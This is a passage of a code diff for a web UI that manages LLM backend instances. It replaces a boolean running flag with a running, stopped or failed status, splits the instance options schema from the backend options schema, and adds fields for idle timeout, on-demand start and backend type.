@@ -287,7 +290,7 @@ describe("InstancesContext", () => {
         expect(instancesApi.stop).toHaveBeenCalledWith("instance1");
         // The running state should be updated to false
         expect(screen.getByTestId("instance-instance1")).toHaveTextContent(
-          "instance1:false"
+          "instance1:stopped"
         );
       });
     });
@@ -383,7 +386,7 @@ describe("InstancesContext", () => {
       // Test that operations don't interfere with each other
       const newInstance: Instance = {
         name: "new-instance",
-        running: false,
+        status: "stopped",
         options: {},
       };
       vi.mocked(instancesApi.create).mockResolvedValue(newInstance);
@@ -411,7 +414,7 @@ describe("InstancesContext", () => {
         expect(screen.getByTestId("instances-count")).toHaveTextContent("3"); // Still 3
         // But the running state should change
         expect(screen.getByTestId("instance-instance2")).toHaveTextContent(
-          "instance2:true"
+          "instance2:running"
         );
       });
     });

webui/src/hooks/useInstanceHealth.ts

@@ -1,14 +1,19 @@
 // ui/src/hooks/useInstanceHealth.ts
 import { useState, useEffect } from 'react'
-import type { HealthStatus } from '@/types/instance'
+import type { HealthStatus, InstanceStatus } from '@/types/instance'
 import { healthService } from '@/lib/healthService'
 
-export function useInstanceHealth(instanceName: string, isRunning: boolean): HealthStatus | undefined {
+export function useInstanceHealth(instanceName: string, instanceStatus: InstanceStatus): HealthStatus | undefined {
   const [health, setHealth] = useState<HealthStatus | undefined>()
 
   useEffect(() => {
-    if (!isRunning) {
+    if (instanceStatus === "stopped") {
-      setHealth(undefined)
+      setHealth({ status: "unknown", lastChecked: new Date() })
+      return
+    }
+
+    if (instanceStatus === "failed") {
+      setHealth({ status: instanceStatus, lastChecked: new Date() })
       return
     }
 
@@ -17,9 +22,9 @@ export function useInstanceHealth(instanceName: string, isRunning: boolean): Hea
       setHealth(healthStatus)
     })
 
-    // Cleanup subscription on unmount or when running changes
+    // Cleanup subscription on unmount or when instanceStatus changes
     return unsubscribe
-  }, [instanceName, isRunning])
+  }, [instanceName, instanceStatus])
 
   return health
 }

webui/src/lib/zodFormUtils.ts

@@ -1,6 +1,6 @@
-import { type CreateInstanceOptions, getAllFieldKeys } from '@/schemas/instanceOptions'
+import { type CreateInstanceOptions, type BackendOptions, getAllFieldKeys, getAllBackendFieldKeys } from '@/schemas/instanceOptions'
 
-// Only define the basic fields we want to show by default
+// Instance-level basic fields (not backend-specific)
 export const basicFieldsConfig: Record<string, {
   label: string
   description?: string
@@ -21,6 +21,28 @@ export const basicFieldsConfig: Record<string, {
     placeholder: '5',
     description: 'Delay in seconds before attempting restart'
   },
+  idle_timeout: {
+    label: 'Idle Timeout (minutes)',
+    placeholder: '60',
+    description: 'Time in minutes before instance is considered idle and stopped'
+  },
+  on_demand_start: {
+    label: 'On-Demand Start',
+    description: 'Start instance upon receiving OpenAI-compatible API request'
+  },
+  backend_type: {
+    label: 'Backend Type',
+    description: 'Type of backend to use for this instance'
+  }
+}
+
+// Backend-specific basic fields (these go in backend_options)
+export const basicBackendFieldsConfig: Record<string, {
+  label: string
+  description?: string
+  placeholder?: string
+  required?: boolean
+}> = {
   model: {
     label: 'Model Path',
     placeholder: '/path/to/model.gguf',
@@ -47,6 +69,10 @@ export function isBasicField(key: keyof CreateInstanceOptions): boolean {
   return key in basicFieldsConfig
 }
 
+export function isBasicBackendField(key: keyof BackendOptions): boolean {
+  return key in basicBackendFieldsConfig
+}
+
 export function getBasicFields(): (keyof CreateInstanceOptions)[] {
   return Object.keys(basicFieldsConfig) as (keyof CreateInstanceOptions)[]
 }
@@ -55,5 +81,13 @@ export function getAdvancedFields(): (keyof CreateInstanceOptions)[] {
   return getAllFieldKeys().filter(key => !isBasicField(key))
 }
 
+export function getBasicBackendFields(): (keyof BackendOptions)[] {
+  return Object.keys(basicBackendFieldsConfig) as (keyof BackendOptions)[]
+}
+
+export function getAdvancedBackendFields(): (keyof BackendOptions)[] {
+  return getAllBackendFieldKeys().filter(key => !isBasicBackendField(key))
+}
+
 // Re-export the Zod-based functions
-export { getFieldType } from '@/schemas/instanceOptions'
+export { getFieldType, getBackendFieldType } from '@/schemas/instanceOptions'

webui/src/schemas/instanceOptions.ts

@@ -1,12 +1,8 @@
+import { BackendType } from '@/types/instance'
 import { z } from 'zod'
 
-// Define the Zod schema
+// Define the backend options schema (previously embedded in CreateInstanceOptionsSchema)
-export const CreateInstanceOptionsSchema = z.object({
+export const BackendOptionsSchema = z.object({
-  // Restart options
-  auto_restart: z.boolean().optional(),
-  max_restarts: z.number().optional(),
-  restart_delay: z.number().optional(),
-
   // Common params
   verbose_prompt: z.boolean().optional(),
   threads: z.number().optional(),
@@ -174,22 +170,57 @@ export const CreateInstanceOptionsSchema = z.object({
   fim_qwen_14b_spec: z.boolean().optional(),
 })
 
-// Infer the TypeScript type from the schema
+// Define the main create instance options schema
+export const CreateInstanceOptionsSchema = z.object({
+  // Restart options
+  auto_restart: z.boolean().optional(),
+  max_restarts: z.number().optional(),
+  restart_delay: z.number().optional(),
+  idle_timeout: z.number().optional(),
+  on_demand_start: z.boolean().optional(),
+
+  // Backend configuration
+  backend_type: z.enum([BackendType.LLAMA_CPP]).optional(),
+  backend_options: BackendOptionsSchema.optional(),
+})
+
+// Infer the TypeScript types from the schemas
+export type BackendOptions = z.infer<typeof BackendOptionsSchema>
 export type CreateInstanceOptions = z.infer<typeof CreateInstanceOptionsSchema>
 
-// Helper to get all field keys
+// Helper to get all field keys for CreateInstanceOptions
 export function getAllFieldKeys(): (keyof CreateInstanceOptions)[] {
   return Object.keys(CreateInstanceOptionsSchema.shape) as (keyof CreateInstanceOptions)[]
 }
 
+// Helper to get all backend option field keys
+export function getAllBackendFieldKeys(): (keyof BackendOptions)[] {
+  return Object.keys(BackendOptionsSchema.shape) as (keyof BackendOptions)[]
+}
+
 // Get field type from Zod schema
-export function getFieldType(key: keyof CreateInstanceOptions): 'text' | 'number' | 'boolean' | 'array' {
+export function getFieldType(key: keyof CreateInstanceOptions): 'text' | 'number' | 'boolean' | 'array' | 'object' {
   const fieldSchema = CreateInstanceOptionsSchema.shape[key]
   if (!fieldSchema) return 'text'
   
   // Handle ZodOptional wrapper
   const innerSchema = fieldSchema instanceof z.ZodOptional ? fieldSchema.unwrap() : fieldSchema
   
+  if (innerSchema instanceof z.ZodBoolean) return 'boolean'
+  if (innerSchema instanceof z.ZodNumber) return 'number'
+  if (innerSchema instanceof z.ZodArray) return 'array'
+  if (innerSchema instanceof z.ZodObject) return 'object'
+  return 'text' // ZodString and others default to text
+}
+
+// Get field type for backend options
+export function getBackendFieldType(key: keyof BackendOptions): 'text' | 'number' | 'boolean' | 'array' {
+  const fieldSchema = BackendOptionsSchema.shape[key]
+  if (!fieldSchema) return 'text'
+  
+  // Handle ZodOptional wrapper
+  const innerSchema = fieldSchema instanceof z.ZodOptional ? fieldSchema.unwrap() : fieldSchema
+  
   if (innerSchema instanceof z.ZodBoolean) return 'boolean'
   if (innerSchema instanceof z.ZodNumber) return 'number'
   if (innerSchema instanceof z.ZodArray) return 'array'

webui/src/types/instance.ts

@@ -2,14 +2,22 @@ import type { CreateInstanceOptions } from '@/schemas/instanceOptions'
 
 export { type CreateInstanceOptions } from '@/schemas/instanceOptions'
 
+export const BackendType = {
+  LLAMA_CPP: 'llama_cpp'
+} as const
+
+export type BackendTypeValue = typeof BackendType[keyof typeof BackendType]
+
+export type InstanceStatus = 'running' | 'stopped' | 'failed'
+
 export interface HealthStatus {
-  status: 'ok' | 'loading' | 'error' | 'unknown'
+  status: 'ok' | 'loading' | 'error' | 'unknown' | 'failed'
   message?: string
   lastChecked: Date
 }
 
 export interface Instance {
   name: string;
-  running: boolean;
+  status: InstanceStatus;
   options?: CreateInstanceOptions;
 }

webui/src/vite-env.d.ts

@@ -0,0 +1,13 @@
+/// <reference types="vite/client" />
+
+declare global {
+  interface ImportMetaEnv {
+    readonly VITE_APP_VERSION?: string
+  }
+
+  interface ImportMeta {
+    readonly env: ImportMetaEnv
+  }
+}
+
+export {}

webui/tsconfig.json

@@ -18,8 +18,9 @@
     "baseUrl": ".",
     "paths": {
       "@/*": ["./src/*"]
-    }
     },
-  "include": ["src"],
+    "types": ["vite/client"]
+  },
+  "include": ["src", "src/vite-env.d.ts"],
   "references": [{ "path": "./tsconfig.node.json" }]
 }